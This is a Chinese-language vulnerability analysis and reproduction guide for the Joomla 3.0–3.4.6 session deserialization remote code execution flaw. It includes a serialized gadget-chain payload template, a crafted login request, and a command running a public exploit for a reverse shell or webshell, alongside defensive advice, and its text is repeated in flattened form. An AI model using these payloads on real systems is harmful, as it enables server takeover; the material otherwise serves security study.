Joomla 3.4.6 RCE复现及分析
字数 1303 2025-08-15 21:33:44

Joomla 3.4.6 反序列化远程代码执行漏洞分析与复现

漏洞概述

Joomla 3.4.6及之前版本存在一个反序列化漏洞,攻击者可以利用该漏洞实现远程代码执行。该漏洞源于Joomla对用户会话数据处理不当,导致攻击者能够通过精心构造的序列化数据实现任意代码执行。

影响版本

  • Joomla 3.0.0 至 3.4.6
  • 要求PHP版本 >= 5.3.10

环境搭建

  1. 下载Joomla 3.4.6:
    https://downloads.joomla.org/it/cms/joomla3/3-4-6

  2. PHP环境要求:

    • PHP 5.4.45 nts(不支持PHP7)

漏洞原理分析

反序列化字符逃逸

漏洞核心在于Joomla对会话数据的处理方式。在libraries/joomla/session/storage/database.php中:

public function read($id) {
    // ...
    $result = str_replace('\0\0\0', chr(0).'*'.chr(0), $result);
    return $result;
}

public function write($id, $data) {
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    // ...
}

这种替换操作会导致序列化字符串长度的变化,攻击者可以利用这种差异构造恶意序列化数据。

利用链分析

  1. 触发点:通过com_users组件的登录功能注入恶意序列化数据
  2. 利用链
    • 构造包含JDatabaseDriverMysqli对象的序列化数据
    • 利用SimplePie类的cache_name_functionfeed_url属性实现代码执行
    • 通过call_user_func执行任意PHP函数

关键代码分析

// 恶意序列化数据模板
$template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{
    s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}
    s:21:"\0\0\0disconnectHandlers";a:1:{
        i:0;a:2:{
            i:0;O:9:"SimplePie":5:{
                s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
                s:5:"cache";b:1;
                s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";
                s:10:"javascript";i:9999;
                s:8:"feed_url";s:LENGTH:"PAYLOAD";
            }
            i:1;s:4:"init";
        }
    }
    s:13:"\0\0\0connection";i:1;
}';

其中:

  • FUNC_NAME:要执行的PHP函数(如assert
  • PAYLOAD:要执行的代码(如写入webshell)

漏洞复现步骤

方法一:手动利用

  1. 构造恶意登录请求:
POST /index.php/component/users HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
password=AAA";s:11:"maonnalezzo":[恶意序列化数据];s:6:"return";s:102:"
[csrf_token]=1
option=com_users
task=user.login
  1. 触发反序列化:
    访问index.php/component/users/?view=login触发payload

方法二:使用公开EXP

  1. 下载EXP工具:
    https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla

  2. 执行命令:

    python3 joomla_rce.py -t http://target.com -e -l your_ip -p your_port
    
  3. 获取反弹shell或webshell

防御措施

  1. 升级到最新版本Joomla
  2. 对用户输入进行严格过滤
  3. 禁用不必要的PHP函数(如assert
  4. 实施WAF规则拦截恶意序列化数据

技术细节补充

序列化数据类型标识

PHP序列化中使用以下字母标识类型:

  • a - array
  • b - boolean
  • d - double
  • i - integer
  • o - common object
  • r - reference
  • s - string
  • C - custom object
  • O - class
  • N - null
  • R - pointer reference
  • U - unicode string

关键利用点

  1. SimplePie类的cache_name_functionfeed_url属性
  2. JDatabaseDriverMysqli__destruct方法触发调用链
  3. call_user_func_array实现任意函数调用

参考链接

  1. Joomla反序列化漏洞分析
  2. FreeBuf漏洞分析
  3. PHP反序列化字符逃逸学习
Joomla 3.4.6 反序列化远程代码执行漏洞分析与复现 漏洞概述 Joomla 3.4.6及之前版本存在一个反序列化漏洞,攻击者可以利用该漏洞实现远程代码执行。该漏洞源于Joomla对用户会话数据处理不当,导致攻击者能够通过精心构造的序列化数据实现任意代码执行。 影响版本 Joomla 3.0.0 至 3.4.6 要求PHP版本 >= 5.3.10 环境搭建 下载Joomla 3.4.6: https://downloads.joomla.org/it/cms/joomla3/3-4-6 PHP环境要求: PHP 5.4.45 nts(不支持PHP7) 漏洞原理分析 反序列化字符逃逸 漏洞核心在于Joomla对会话数据的处理方式。在 libraries/joomla/session/storage/database.php 中: 这种替换操作会导致序列化字符串长度的变化,攻击者可以利用这种差异构造恶意序列化数据。 利用链分析 触发点 :通过 com_users 组件的登录功能注入恶意序列化数据 利用链 : 构造包含 JDatabaseDriverMysqli 对象的序列化数据 利用 SimplePie 类的 cache_name_function 和 feed_url 属性实现代码执行 通过 call_user_func 执行任意PHP函数 关键代码分析 其中: FUNC_NAME :要执行的PHP函数(如 assert ) PAYLOAD :要执行的代码(如写入webshell) 漏洞复现步骤 方法一:手动利用 构造恶意登录请求: 触发反序列化: 访问 index.php/component/users/?view=login 触发payload 方法二:使用公开EXP 下载EXP工具: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla 执行命令: 获取反弹shell或webshell 防御措施 升级到最新版本Joomla 对用户输入进行严格过滤 禁用不必要的PHP函数(如 assert ) 实施WAF规则拦截恶意序列化数据 技术细节补充 序列化数据类型标识 PHP序列化中使用以下字母标识类型: a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string 关键利用点 SimplePie 类的 cache_name_function 和 feed_url 属性 JDatabaseDriverMysqli 的 __destruct 方法触发调用链 call_user_func_array 实现任意函数调用 参考链接 Joomla反序列化漏洞分析 FreeBuf漏洞分析 PHP反序列化字符逃逸学习